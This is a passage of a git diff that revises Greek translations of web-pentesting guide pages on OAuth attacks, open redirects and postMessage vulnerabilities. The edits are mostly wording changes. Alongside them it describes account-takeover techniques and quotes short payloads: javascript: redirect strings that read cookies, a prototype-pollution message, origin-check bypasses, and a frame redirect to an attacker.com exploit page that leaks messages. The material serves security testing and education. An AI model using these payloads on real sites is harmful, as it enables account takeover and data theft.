Εκμετάλλευση άλλων tokens εφαρμογών -Όπως [**αναφέρεται σε αυτή τη γραφή**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), οι ροές OAuth που αναμένουν να λάβουν το **token** (και όχι έναν κωδικό) θα μπορούσαν να είναι ευάλωτες αν δεν ελέγχουν ότι το token ανήκει στην εφαρμογή. +Όπως [**αναφέρεται σε αυτή τη συγγραφή**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), οι ροές OAuth που αναμένουν να λάβουν το **token** (και όχι έναν κωδικό) θα μπορούσαν να είναι ευάλωτες αν δεν ελέγχουν ότι το token ανήκει στην εφαρμογή. Αυτό συμβαίνει επειδή ένας **επιτιθέμενος** θα μπορούσε να δημιουργήσει μια **εφαρμογή που υποστηρίζει OAuth και να συνδεθεί με το Facebook** (για παράδειγμα) στην δική του εφαρμογή. Στη συνέχεια, μόλις ένα θύμα συνδεθεί με το Facebook στην **εφαρμογή του επιτιθέμενου**, ο επιτιθέμενος θα μπορούσε να αποκτήσει το **OAuth token του χρήστη που δόθηκε στην εφαρμογή του και να το χρησιμοποιήσει για να συνδεθεί στην εφαρμογή OAuth του θύματος χρησιμοποιώντας το token του χρήστη του θύματος**. > [!CAUTION] -> Επομένως, αν ο επιτιθέμενος καταφέρει να αποκτήσει πρόσβαση στην δική του OAuth εφαρμογή, θα είναι σε θέση να αναλάβει τον λογαριασμό του θύματος σε εφαρμογές που αναμένουν ένα token και δεν ελέγχουν αν το token παραχωρήθηκε στο ID της εφαρμογής τους. +> Επομένως, αν ο επιτιθέμενος καταφέρει να αποκτήσει πρόσβαση στην δική του εφαρμογή OAuth, θα είναι σε θέση να αναλάβει τον λογαριασμό του θύματος σε εφαρμογές που αναμένουν ένα token και δεν ελέγχουν αν το token παραχωρήθηκε στο ID της εφαρμογής τους. ### Δύο σύνδεσμοι & cookie -Σύμφωνα με [**αυτή τη γραφή**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ήταν δυνατό να κάνετε ένα θύμα να ανοίξει μια σελίδα με ένα **returnUrl** που δείχνει στον διακομιστή του επιτιθέμενου. Αυτή η πληροφορία θα **αποθηκευόταν σε ένα cookie (RU)** και σε ένα **μετέπειτα βήμα** το **prompt** θα **ρωτούσε** τον **χρήστη** αν θέλει να δώσει πρόσβαση σε αυτόν τον διακομιστή του επιτιθέμενου. +Σύμφωνα με [**αυτή τη συγγραφή**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ήταν δυνατό να κάνετε ένα θύμα να ανοίξει μια σελίδα με ένα **returnUrl** που δείχνει στον διακομιστή του επιτιθέμενου. Αυτή η πληροφορία θα **αποθηκευόταν σε ένα cookie (RU)** και σε ένα **μετέπειτα βήμα** το **prompt** θα **ρωτούσε** τον **χρήστη** αν θέλει να δώσει πρόσβαση σε αυτόν τον διακομιστή του επιτιθέμενου. Για να παρακαμφθεί αυτό το prompt, ήταν δυνατό να ανοίξει μια καρτέλα για να ξεκινήσει τη **ροή Oauth** που θα ρύθμιζε αυτό το cookie RU χρησιμοποιώντας το **returnUrl**, να κλείσει την καρτέλα πριν εμφανιστεί το prompt και να ανοίξει μια νέα καρτέλα χωρίς αυτή την τιμή. Στη συνέχεια, το **prompt δεν θα ενημερώσει για τον διακομιστή του επιτιθέμενου**, αλλά το cookie θα ρυθμιστεί σε αυτόν, έτσι το **token θα σταλεί στον διακομιστή του επιτιθέμενου** κατά την ανακατεύθυνση. ### Παράκαμψη αλληλεπίδρασης prompt -Όπως εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), ορισμένες υλοποιήσεις OAuth επιτρέπουν να υποδεικνύεται η παράμετρος **`prompt`** GET ως None (**`&prompt=none`**) για να **αποτραπεί η ερώτηση στους χρήστες να επιβεβαιώσουν** την παραχωρηθείσα πρόσβαση σε ένα prompt στο διαδίκτυο αν είναι ήδη συνδεδεμένοι στην πλατφόρμα. +Όπως εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), ορισμένες υλοποιήσεις OAuth επιτρέπουν να δηλωθεί η παράμετρος **`prompt`** GET ως None (**`&prompt=none`**) για να **αποτραπεί η ερώτηση στους χρήστες να επιβεβαιώσουν** την παραχωρηθείσα πρόσβαση σε ένα prompt στο διαδίκτυο αν είναι ήδη συνδεδεμένοι στην πλατφόρμα. ### response_mode -Όπως [**εξηγείται σε αυτό το βίντεο**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), μπορεί να είναι δυνατό να υποδειχθεί η παράμετρος **`response_mode`** για να δηλώσετε πού θέλετε να παρασχεθεί ο κωδικός στην τελική διεύθυνση URL: +Όπως [**εξηγείται σε αυτό το βίντεο**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), μπορεί να είναι δυνατό να δηλωθεί η παράμετρος **`response_mode`** για να δηλώσετε πού θέλετε να παρασχεθεί ο κωδικός στην τελική διεύθυνση URL: - `response_mode=query` -> Ο κωδικός παρέχεται μέσα σε μια παράμετρο GET: `?code=2397rf3gu93f` -- `response_mode=fragment` -> Ο κωδικός παρέχεται μέσα στην παράμετρο τμήματος της διεύθυνσης URL `#code=2397rf3gu93f` +- `response_mode=fragment` -> Ο κωδικός παρέχεται μέσα στην παράμετρο τμήματος URL `#code=2397rf3gu93f` - `response_mode=form_post` -> Ο κωδικός παρέχεται μέσα σε μια φόρμα POST με μια είσοδο που ονομάζεται `code` και την τιμή - `response_mode=web_message` -> Ο κωδικός αποστέλλεται σε ένα μήνυμα post: `window.opener.postMessage({"code": "asdasdasd...` @@ -194,15 +194,15 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat [**Ελέγξτε αυτή την έρευνα**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Για περισσότερες λεπτομέρειες σχετικά με αυτή την τεχνική.** -Η Δυναμική Εγγραφή Πελάτη στο OAuth λειτουργεί ως λιγότερο προφανής αλλά κρίσιμος παράγοντας για ευπάθειες ασφαλείας, ειδικότερα για επιθέσεις **Server-Side Request Forgery (SSRF)**. Αυτό το endpoint επιτρέπει στους διακομιστές OAuth να λαμβάνουν λεπτομέρειες σχετικά με τις εφαρμογές πελατών, συμπεριλαμβανομένων ευαίσθητων URLs που θα μπορούσαν να εκμεταλλευτούν. +Η Δυναμική Εγγραφή Πελάτη στο OAuth λειτουργεί ως λιγότερο προφανής αλλά κρίσιμος παράγοντας για ευπάθειες ασφαλείας, ειδικότερα για επιθέσεις **Server-Side Request Forgery (SSRF)**. Αυτό το endpoint επιτρέπει στους διακομιστές OAuth να λαμβάνουν λεπτομέρειες σχετικά με τις εφαρμογές πελατών, συμπεριλαμβανομένων ευαίσθητων URL που θα μπορούσαν να εκμεταλλευτούν. **Κύρια Σημεία:** -- Η **Δυναμική Εγγραφή Πελάτη** συχνά αντιστοιχεί στο `/register` και δέχεται λεπτομέρειες όπως `client_name`, `client_secret`, `redirect_uris`, και URLs για λογότυπα ή JSON Web Key Sets (JWKs) μέσω αιτημάτων POST. +- Η **Δυναμική Εγγραφή Πελάτη** συχνά αντιστοιχεί στο `/register` και δέχεται λεπτομέρειες όπως `client_name`, `client_secret`, `redirect_uris`, και URL για λογότυπα ή JSON Web Key Sets (JWKs) μέσω αιτημάτων POST. - Αυτή η δυνατότητα συμμορφώνεται με τις προδιαγραφές που καθορίζονται στο **RFC7591** και **OpenID Connect Registration 1.0**, οι οποίες περιλαμβάνουν παραμέτρους που ενδέχεται να είναι ευάλωτες σε SSRF. - Η διαδικασία εγγραφής μπορεί ακούσια να εκθέσει τους διακομιστές σε SSRF με διάφορους τρόπους: - **`logo_uri`**: Ένα URL για το λογότυπο της εφαρμογής πελάτη που μπορεί να ανακτηθεί από τον διακομιστή, προκαλώντας SSRF ή οδηγώντας σε XSS αν το URL δεν διαχειριστεί σωστά. -- **`jwks_uri`**: Ένα URL στο έγγραφο JWK του πελάτη, το οποίο αν κατασκευαστεί κακόβουλα, μπορεί να προκαλέσει στον διακομιστή να κάνει εξωτερικά αιτήματα σε έναν διακομιστή ελεγχόμενο από τον επιτιθέμενο. +- **`jwks_uri`**: Ένα URL στο έγγραφο JWK του πελάτη, το οποίο αν κατασκευαστεί κακόβουλα, μπορεί να προκαλέσει τον διακομιστή να κάνει εξωτερικά αιτήματα σε έναν διακομιστή ελεγχόμενο από τον επιτιθέμενο. - **`sector_identifier_uri`**: Αναφέρεται σε έναν πίνακα JSON των `redirect_uris`, τον οποίο ο διακομιστής μπορεί να ανακτήσει, δημιουργώντας μια ευκαιρία SSRF. - **`request_uris`**: Λίστα επιτρεπόμενων URI αιτημάτων για τον πελάτη, που μπορεί να εκμεταλλευτεί αν ο διακομιστής ανακτήσει αυτά τα URI στην αρχή της διαδικασίας εξουσιοδότησης. @@ -213,7 +213,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat ## Συνθήκες Αγώνα Παρόχων OAuth -Αν η πλατφόρμα που δοκιμάζετε είναι πάροχος OAuth [**διαβάστε αυτό για να δοκιμάσετε πιθανές Συνθήκες Αγώνα**](race-condition.md). +Αν η πλατφόρμα που δοκιμάζετε είναι ένας πάροχος OAuth [**διαβάστε αυτό για να δοκιμάσετε πιθανές Συνθήκες Αγώνα**](race-condition.md). ## Επίθεση Mutable Claims @@ -221,20 +221,20 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat - Ορισμένοι Διακομιστές Εξουσιοδότησης δεν διασφαλίζουν ότι αυτές οι ιδιότητες (όπως το email) παραμένουν αμετάβλητες. - Σε ορισμένες υλοποιήσεις—όπως το **"Σύνδεση με Microsoft"**—ο πελάτης βασίζεται στο πεδίο email, το οποίο είναι **ελεγχόμενο από τον χρήστη στο Entra ID** και δεν επαληθεύεται. -- Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό δημιουργώντας τη δική του οργάνωση Azure AD (π.χ. doyensectestorg) και χρησιμοποιώντας την για να πραγματοποιήσει μια σύνδεση Microsoft. +- Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό δημιουργώντας τη δική του οργάνωση Azure AD (π.χ., doyensectestorg) και χρησιμοποιώντας την για να πραγματοποιήσει μια σύνδεση Microsoft. - Παρόλο που το Object ID (αποθηκευμένο στο sub) είναι αμετάβλητο και ασφαλές, η εξάρτηση από ένα μεταβλητό πεδίο email μπορεί να επιτρέψει μια ανάληψη λογαριασμού (για παράδειγμα, η κατάληψη ενός λογαριασμού όπως το victim@gmail.com). ## Επίθεση Client Confusion -Σε μια **Επίθεση Client Confusion**, μια εφαρμογή που χρησιμοποιεί τη Ροή OAuth Implicit αποτυγχάνει να επαληθεύσει ότι το τελικό access token έχει παραχθεί ειδικά για το δικό της Client ID. Ένας επιτιθέμενος δημιουργεί μια δημόσια ιστοσελίδα που χρησιμοποιεί τη Ροή OAuth Implicit της Google, εξαπατώντας χιλιάδες χρήστες να συνδεθούν και έτσι συλλέγοντας access tokens που προορίζονται για την ιστοσελίδα του επιτιθέμενου. Αν αυτοί οι χρήστες έχουν επίσης λογαριασμούς σε άλλη ευάλωτη ιστοσελίδα που δεν επαληθεύει το Client ID του token, ο επιτιθέμενος μπορεί να επαναχρησιμοποιήσει τα συλλεγμένα tokens για να προσποιηθεί τους θύματα και να αναλάβει τους λογαριασμούς τους. +Σε μια **Επίθεση Client Confusion**, μια εφαρμογή που χρησιμοποιεί τη Ροή OAuth Implicit αποτυγχάνει να επαληθεύσει ότι το τελικό access token έχει δημιουργηθεί ειδικά για το δικό της Client ID. Ένας επιτιθέμενος δημιουργεί μια δημόσια ιστοσελίδα που χρησιμοποιεί τη Ροή OAuth Implicit της Google, εξαπατώντας χιλιάδες χρήστες να συνδεθούν και έτσι συλλέγοντας access tokens που προορίζονται για την ιστοσελίδα του επιτιθέμενου. Αν αυτοί οι χρήστες έχουν επίσης λογαριασμούς σε άλλη ευάλωτη ιστοσελίδα που δεν επαληθεύει το Client ID του token, ο επιτιθέμενος μπορεί να επαναχρησιμοποιήσει τα συλλεγμένα tokens για να προσποιηθεί τους θύματα και να αναλάβει τους λογαριασμούς τους. ## Επίθεση Scope Upgrade -Ο τύπος **Authorization Code Grant** περιλαμβάνει ασφαλή επικοινωνία server-to-server για τη μετάδοση δεδομένων χρηστών. Ωστόσο, αν ο **Authorization Server** εμπιστεύεται έμμεσα μια παράμετρο scope στην Αίτηση Access Token (μια παράμετρο που δεν ορίζεται στο RFC), μια κακόβουλη εφαρμογή θα μπορούσε να αναβαθμίσει τα προνόμια ενός κωδικού εξουσιοδότησης ζητώντας ένα υψηλότερο scope. Αφού παραχθεί το **Access Token**, ο **Resource Server** πρέπει να το επαληθεύσει: για τα JWT tokens, αυτό περιλαμβάνει τον έλεγχο της υπογραφής JWT και την εξαγωγή δεδομένων όπως client_id και scope, ενώ για τα tokens τυχαίων συμβολοσειρών, ο διακομιστής πρέπει να ρωτήσει τον Authorization Server για να ανακτήσει τις λεπτομέρειες του token. +Ο τύπος **Authorization Code Grant** περιλαμβάνει ασφαλή επικοινωνία server-to-server για τη μετάδοση δεδομένων χρηστών. Ωστόσο, αν ο **Διακομιστής Εξουσιοδότησης** εμπιστεύεται έμμεσα μια παράμετρο scope στην Αίτηση Access Token (μια παράμετρο που δεν ορίζεται στο RFC), μια κακόβουλη εφαρμογή θα μπορούσε να αναβαθμίσει τα προνόμια ενός κωδικού εξουσιοδότησης ζητώντας ένα υψηλότερο scope. Αφού παραχθεί το **Access Token**, ο **Resource Server** πρέπει να το επαληθεύσει: για τα JWT tokens, αυτό περιλαμβάνει τον έλεγχο της υπογραφής JWT και την εξαγωγή δεδομένων όπως client_id και scope, ενώ για τα tokens τυχαίων συμβολοσειρών, ο διακομιστής πρέπει να ερωτήσει τον Διακομιστή Εξουσιοδότησης για να ανακτήσει τις λεπτομέρειες του token. -## Hijacking Σχεδίου Ανακατεύθυνσης +## Υφαρπαγή Σχεδίου Ανακατεύθυνσης -Σε υλοποιήσεις OAuth για κινητά, οι εφαρμογές χρησιμοποιούν **προσαρμοσμένα URI schemes** για να λαμβάνουν ανακατευθύνσεις με Κωδικούς Εξουσιοδότησης. Ωστόσο, επειδή πολλές εφαρμογές μπορούν να καταχωρήσουν το ίδιο scheme σε μια συσκευή, η υπόθεση ότι μόνο ο νόμιμος πελάτης ελέγχει το URI ανακατεύθυνσης παραβιάζεται. Στο Android, για παράδειγμα, ένα Intent URI όπως `com.example.app://` oauth συλλαμβάνεται με βάση το scheme και τις προαιρετικές φίλτρα που ορίζονται στο intent-filter μιας εφαρμογής. Δεδομένου ότι η επίλυση προθέσεων του Android μπορεί να είναι ευρεία—ειδικά αν μόνο το scheme καθορίζεται—ένας επιτιθέμενος μπορεί να καταχωρήσει μια κακόβουλη εφαρμογή με ένα προσεκτικά κατασκευασμένο intent filter για να ανακατευθύνει τον κωδικό εξουσιοδότησης. Αυτό μπορεί να **επιτρέψει μια ανάληψη λογαριασμού** είτε μέσω αλληλεπίδρασης χρήστη (όταν πολλές εφαρμογές είναι επιλέξιμες να χειριστούν την πρόθεση) είτε μέσω τεχνικών παράκαμψης που εκμεταλλεύονται υπερβολικά συγκεκριμένα φίλτρα, όπως περιγράφεται από το διάγραμμα ροής αξιολόγησης του Ostorlab. +Σε υλοποιήσεις OAuth για κινητά, οι εφαρμογές χρησιμοποιούν **προσαρμοσμένα URI schemes** για να λαμβάνουν ανακατευθύνσεις με Κωδικούς Εξουσιοδότησης. Ωστόσο, επειδή πολλές εφαρμογές μπορούν να καταχωρήσουν το ίδιο scheme σε μια συσκευή, η υπόθεση ότι μόνο ο νόμιμος πελάτης ελέγχει το URI ανακατεύθυνσης παραβιάζεται. Στο Android, για παράδειγμα, ένα Intent URI όπως `com.example.app://` oauth συλλαμβάνεται με βάση το scheme και τις προαιρετικές φίλτρα που ορίζονται στο intent-filter μιας εφαρμογής. Δεδομένου ότι η επίλυση προθέσεων του Android μπορεί να είναι ευρεία—ειδικά αν μόνο το scheme καθορίζεται—ένας επιτιθέμενος μπορεί να καταχωρήσει μια κακόβουλη εφαρμογή με ένα προσεκτικά κατασκευασμένο intent filter για να υφαρπάξει τον κωδικό εξουσιοδότησης. Αυτό μπορεί να **επιτρέψει μια ανάληψη λογαριασμού** είτε μέσω αλληλεπίδρασης χρήστη (όταν πολλές εφαρμογές είναι επιλέξιμες να χειριστούν την πρόθεση) είτε μέσω τεχνικών παράκαμψης που εκμεταλλεύονται υπερβολικά συγκεκριμένα φίλτρα, όπως περιγράφεται από το διάγραμμα ροής αξιολόγησης του Ostorlab. ## Αναφορές diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index 543ee7c2f..47c31a975 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -7,6 +7,7 @@ ### Ανακατεύθυνση σε localhost ή αυθαίρετους τομείς + {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} @@ -57,7 +58,7 @@ javascript://whitelisted.com?%a0alert%281%29 /x:1/:///%01javascript:alert(document.cookie)/ ";alert(0);// ``` -## Open Redirect uploading svg files +## Open Redirect ανεβάζοντας αρχεία svg ```html diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index 1cfd1f91f..f15243f4c 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -34,7 +34,7 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*') Στο **δεύτερο σενάριο**, το **μήνυμα μπορεί να σταλεί μόνο σε αυτή τη διεύθυνση** (ακόμα και αν η προέλευση του αντικειμένου παραθύρου είναι διαφορετική).\ Εάν χρησιμοποιηθεί το **wildcard**, τα **μηνύματα θα μπορούσαν να σταλούν σε οποιαδήποτε διεύθυνση**, και θα σταλούν στην προέλευση του αντικειμένου Window. -### Επίθεση iframe & wildcard στο **targetOrigin** +### Επίθεση σε iframe & wildcard στο **targetOrigin** Όπως εξηγείται σε [**αυτή την αναφορά**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), αν βρείτε μια σελίδα που μπορεί να **iframed** (χωρίς προστασία `X-Frame-Header`) και που **στέλνει ευαίσθητο** μήνυμα μέσω **postMessage** χρησιμοποιώντας ένα **wildcard** (\*), μπορείτε να **τροποποιήσετε** την **προέλευση** του **iframe** και να **leak** το **ευαίσθητο** μήνυμα σε μια διεύθυνση που ελέγχετε.\ Σημειώστε ότι αν η σελίδα μπορεί να iframed αλλά το **targetOrigin** είναι **ρυθμισμένο σε μια διεύθυνση URL και όχι σε wildcard**, αυτό το **κόλπο δεν θα λειτουργήσει**. @@ -54,8 +54,8 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html"; ``` ## εκμετάλλευση addEventListener -**`addEventListener`** είναι η συνάρτηση που χρησιμοποιείται από το JS για να δηλώσει τη συνάρτηση που **αναμένει `postMessages`**.\ -Ένας κώδικας παρόμοιος με τον παρακάτω θα χρησιμοποιηθεί: +**`addEventListener`** είναι η συνάρτηση που χρησιμοποιεί το JS για να δηλώσει τη συνάρτηση που **αναμένει `postMessages`**.\ +Θα χρησιμοποιηθεί κώδικας παρόμοιος με τον παρακάτω: ```javascript window.addEventListener( "message", @@ -67,9 +67,9 @@ if (event.origin !== "http://example.org:8080") return false ) ``` -Σημειώστε σε αυτή την περίπτωση πώς το **πρώτο πράγμα** που κάνει ο κώδικας είναι **έλεγχος της προέλευσης**. Αυτό είναι τρομερά **σημαντικό** κυρίως αν η σελίδα πρόκειται να κάνει **οτιδήποτε ευαίσθητο** με τις πληροφορίες που έχει λάβει (όπως η αλλαγή ενός κωδικού πρόσβασης). **Αν δεν ελέγξει την προέλευση, οι επιτιθέμενοι μπορούν να κάνουν τα θύματα να στείλουν αυθαίρετα δεδομένα σε αυτά τα endpoints** και να αλλάξουν τους κωδικούς πρόσβασης των θυμάτων (σε αυτό το παράδειγμα). +Σημειώστε σε αυτή την περίπτωση πώς το **πρώτο πράγμα** που κάνει ο κώδικας είναι **έλεγχος της προέλευσης**. Αυτό είναι τρομερά **σημαντικό** κυρίως αν η σελίδα πρόκειται να κάνει **οτιδήποτε ευαίσθητο** με τις πληροφορίες που λαμβάνει (όπως η αλλαγή ενός κωδικού πρόσβασης). **Αν δεν ελέγξει την προέλευση, οι επιτιθέμενοι μπορούν να κάνουν τα θύματα να στείλουν αυθαίρετα δεδομένα σε αυτά τα endpoints** και να αλλάξουν τους κωδικούς πρόσβασης των θυμάτων (σε αυτό το παράδειγμα). -### Αρίθμηση +### Αριθμητική Για να **βρείτε ακροατές γεγονότων** στην τρέχουσα σελίδα μπορείτε να: @@ -87,20 +87,20 @@ false ### Παράκαμψη ελέγχου προέλευσης - Το χαρακτηριστικό **`event.isTrusted`** θεωρείται ασφαλές καθώς επιστρέφει `True` μόνο για γεγονότα που παράγονται από γνήσιες ενέργειες χρηστών. Αν και είναι δύσκολο να παρακαμφθεί αν έχει υλοποιηθεί σωστά, η σημασία του στους ελέγχους ασφαλείας είναι αξιοσημείωτη. -- Η χρήση του **`indexOf()`** για την επικύρωση προέλευσης σε γεγονότα PostMessage μπορεί να είναι επιρρεπής σε παράκαμψη. Ένα παράδειγμα που απεικονίζει αυτή την ευπάθεια είναι: +- Η χρήση του **`indexOf()`** για την επικύρωση προέλευσης σε γεγονότα PostMessage μπορεί να είναι ευάλωτη σε παράκαμψη. Ένα παράδειγμα που απεικονίζει αυτή την ευπάθεια είναι: ```javascript "https://app-sj17.marketo.com".indexOf("https://app-sj17.ma") ``` -- Η μέθοδος **`search()`** από το `String.prototype.search()` προορίζεται για κανονικές εκφράσεις, όχι για συμβολοσειρές. Η παράδοση οτιδήποτε άλλο εκτός από μια regexp οδηγεί σε έμμεση μετατροπή σε regex, καθιστώντας τη μέθοδο δυνητικά ανασφαλή. Αυτό συμβαίνει επειδή στο regex, μια τελεία (.) λειτουργεί ως χαρακτήρας μπαλαντέρ, επιτρέποντας την παράκαμψη της επικύρωσης με ειδικά κατασκευασμένα domains. Για παράδειγμα: +- Η μέθοδος **`search()`** από το `String.prototype.search()` προορίζεται για κανονικές εκφράσεις, όχι για συμβολοσειρές. Η παράδοση οτιδήποτε άλλο εκτός από μια regexp οδηγεί σε έμμεση μετατροπή σε regex, καθιστώντας τη μέθοδο δυνητικά ανασφαλή. Αυτό συμβαίνει επειδή σε regex, μια τελεία (.) λειτουργεί ως χαρακτήρας μπαλαντέρ, επιτρέποντας την παράκαμψη της επικύρωσης με ειδικά κατασκευασμένα domains. Για παράδειγμα: ```javascript "https://www.safedomain.com".search("www.s.fedomain.com") ``` - Η συνάρτηση **`match()`**, παρόμοια με τη `search()`, επεξεργάζεται regex. Αν το regex είναι κακώς δομημένο, μπορεί να είναι επιρρεπές σε παράκαμψη. -- Η συνάρτηση **`escapeHtml`** προορίζεται να καθαρίζει τις εισόδους διαφεύγοντας χαρακτήρες. Ωστόσο, δεν δημιουργεί ένα νέο αντικείμενο που έχει διαφύγει αλλά αντικαθιστά τις ιδιότητες του υπάρχοντος αντικειμένου. Αυτή η συμπεριφορά μπορεί να εκμεταλλευτεί. Ιδιαίτερα, αν ένα αντικείμενο μπορεί να χειριστεί έτσι ώστε η ελεγχόμενη ιδιότητά του να μην αναγνωρίζει το `hasOwnProperty`, η `escapeHtml` δεν θα λειτουργήσει όπως αναμένεται. Αυτό αποδεικνύεται στα παρακάτω παραδείγματα: +- Η συνάρτηση **`escapeHtml`** προορίζεται να καθαρίζει τις εισόδους με την απόδραση χαρακτήρων. Ωστόσο, δεν δημιουργεί ένα νέο αντικείμενο που έχει αποδράσει αλλά αντικαθιστά τις ιδιότητες του υπάρχοντος αντικειμένου. Αυτή η συμπεριφορά μπορεί να εκμεταλλευτεί. Ιδιαίτερα, αν ένα αντικείμενο μπορεί να χειριστεί έτσι ώστε η ελεγχόμενη ιδιότητά του να μην αναγνωρίζει το `hasOwnProperty`, η `escapeHtml` δεν θα λειτουργήσει όπως αναμένεται. Αυτό αποδεικνύεται στα παρακάτω παραδείγματα: - Αναμενόμενη Αποτυχία: @@ -111,34 +111,35 @@ message: "'\"\\", result.message // "'"<b>\" ``` -- Παράκαμψη της διαφυγής: +- Παράκαμψη της απόδρασης: ```javascript result = u(new Error("'\"\\")) result.message // "'"\" ``` -Στο πλαίσιο αυτής της ευπάθειας, το αντικείμενο `File` είναι ιδιαίτερα εκμεταλλεύσιμο λόγω της μόνο για ανάγνωση ιδιότητας `name`. Αυτή η ιδιότητα, όταν χρησιμοποιείται σε πρότυπα, δεν καθαρίζεται από τη συνάρτηση `escapeHtml`, οδηγώντας σε δυνητικούς κινδύνους ασφαλείας. +Στο πλαίσιο αυτής της ευπάθειας, το αντικείμενο `File` είναι ιδιαίτερα εκμεταλλεύσιμο λόγω της ιδιότητας `name` που είναι μόνο για ανάγνωση. Αυτή η ιδιότητα, όταν χρησιμοποιείται σε πρότυπα, δεν καθαρίζεται από τη συνάρτηση `escapeHtml`, οδηγώντας σε δυνητικούς κινδύνους ασφαλείας. -- Η ιδιότητα `document.domain` στην JavaScript μπορεί να οριστεί από ένα σενάριο για να συντομεύσει το domain, επιτρέποντας πιο χαλαρή επιβολή πολιτικής ίδιας προέλευσης εντός της ίδιας γονικής τοποθεσίας. +- Η ιδιότητα `document.domain` στην JavaScript μπορεί να οριστεί από ένα σενάριο για να συντομεύσει την προέλευση, επιτρέποντας πιο χαλαρή επιβολή πολιτικής ίδιας προέλευσης εντός της ίδιας γονικής προέλευσης. ### Παράκαμψη e.origin == window.origin Όταν ενσωματώνετε μια ιστοσελίδα μέσα σε ένα **sandboxed iframe** χρησιμοποιώντας %%%%%%, είναι κρίσιμο να κατανοήσετε ότι η προέλευση του iframe θα οριστεί σε null. Αυτό είναι ιδιαίτερα σημαντικό όταν ασχολείστε με **attributes sandbox** και τις επιπτώσεις τους στην ασφάλεια και τη λειτουργικότητα. -Με την καθορισμένη **`allow-popups`** στο attribute sandbox, οποιοδήποτε παράθυρο popup ανοίγει από μέσα στο iframe κληρονομεί τους περιορισμούς sandbox του γονέα του. Αυτό σημαίνει ότι εκτός αν περιληφθεί επίσης το attribute **`allow-popups-to-escape-sandbox`**, η προέλευση του παραθύρου popup ορίζεται επίσης σε `null`, ευθυγραμμισμένη με την προέλευση του iframe. +Με την καθορισμένη **`allow-popups`** στο attribute sandbox, οποιοδήποτε παράθυρο αναδυόμενο που ανοίγεται από μέσα στο iframe κληρονομεί τους περιορισμούς sandbox του γονέα του. Αυτό σημαίνει ότι εκτός αν περιλαμβάνεται επίσης το attribute **`allow-popups-to-escape-sandbox`**, η προέλευση του παραθύρου αναδυόμενου ορίζεται επίσης σε `null`, ευθυγραμμισμένη με την προέλευση του iframe. -Κατά συνέπεια, όταν ανοίγει ένα popup υπό αυτές τις συνθήκες και ένα μήνυμα αποστέλλεται από το iframe στο popup χρησιμοποιώντας **`postMessage`**, και οι δύο άκρες αποστολής και λήψης έχουν τις προελεύσεις τους ορισμένες σε `null`. Αυτή η κατάσταση οδηγεί σε ένα σενάριο όπου **`e.origin == window.origin`** αξιολογείται ως αληθές (`null == null`), επειδή τόσο το iframe όσο και το popup μοιράζονται την ίδια τιμή προέλευσης `null`. +Κατά συνέπεια, όταν ανοίγει ένα αναδυόμενο παράθυρο υπό αυτές τις συνθήκες και ένα μήνυμα αποστέλλεται από το iframe στο αναδυόμενο παράθυρο χρησιμοποιώντας **`postMessage`**, και οι δύο άκρες αποστολής και λήψης έχουν τις προελεύσεις τους ορισμένες σε `null`. Αυτή η κατάσταση οδηγεί σε ένα σενάριο όπου **`e.origin == window.origin`** αξιολογείται ως αληθές (`null == null`), επειδή τόσο το iframe όσο και το αναδυόμενο παράθυρο μοιράζονται την ίδια τιμή προέλευσης `null`. Για περισσότερες πληροφορίες **διαβάστε**: + {{#ref}} bypassing-sop-with-iframes-1.md {{#endref}} ### Παράκαμψη e.source -Είναι δυνατόν να ελέγξετε αν το μήνυμα προήλθε από το ίδιο παράθυρο στο οποίο ακούει το σενάριο (ιδιαίτερα ενδιαφέρον για **Content Scripts από επεκτάσεις προγράμματος περιήγησης** για να ελέγξετε αν το μήνυμα στάλθηκε από την ίδια σελίδα): +Είναι δυνατόν να ελέγξετε αν το μήνυμα προήλθε από το ίδιο παράθυρο στο οποίο το σενάριο ακούει (ιδιαίτερα ενδιαφέρον για **Content Scripts από επεκτάσεις προγράμματος περιήγησης** για να ελέγξετε αν το μήνυμα στάλθηκε από την ίδια σελίδα): ```javascript // If it’s not, return immediately. if (received_message.source !== window) { @@ -149,6 +150,7 @@ return Για περισσότερες πληροφορίες **διαβάστε:** + {{#ref}} bypassing-sop-with-iframes-2.md {{#endref}} @@ -163,9 +165,9 @@ var w=window.open("") setTimeout(function(){w.postMessage('text here','*');}, 2000); ``` -### Κλοπή μηνύματος που αποστέλλεται σε παιδί μπλοκάροντας τη κύρια σελίδα +### Κλοπή μηνύματος που αποστέλλεται σε παιδί μπλοκάροντας την κύρια σελίδα -Στην παρακάτω σελίδα μπορείτε να δείτε πώς θα μπορούσατε να κλέψετε δεδομένα **ευαίσθητης postmessage** που αποστέλλονται σε ένα **iframe παιδί** μπλοκάροντας τη **κύρια** σελίδα πριν στείλετε τα δεδομένα και εκμεταλλευόμενοι μια **XSS στο παιδί** για να **διαρρεύσετε τα δεδομένα** πριν αυτά παραληφθούν: +Στην παρακάτω σελίδα μπορείτε να δείτε πώς θα μπορούσατε να κλέψετε δεδομένα **ευαίσθητης postmessage** που 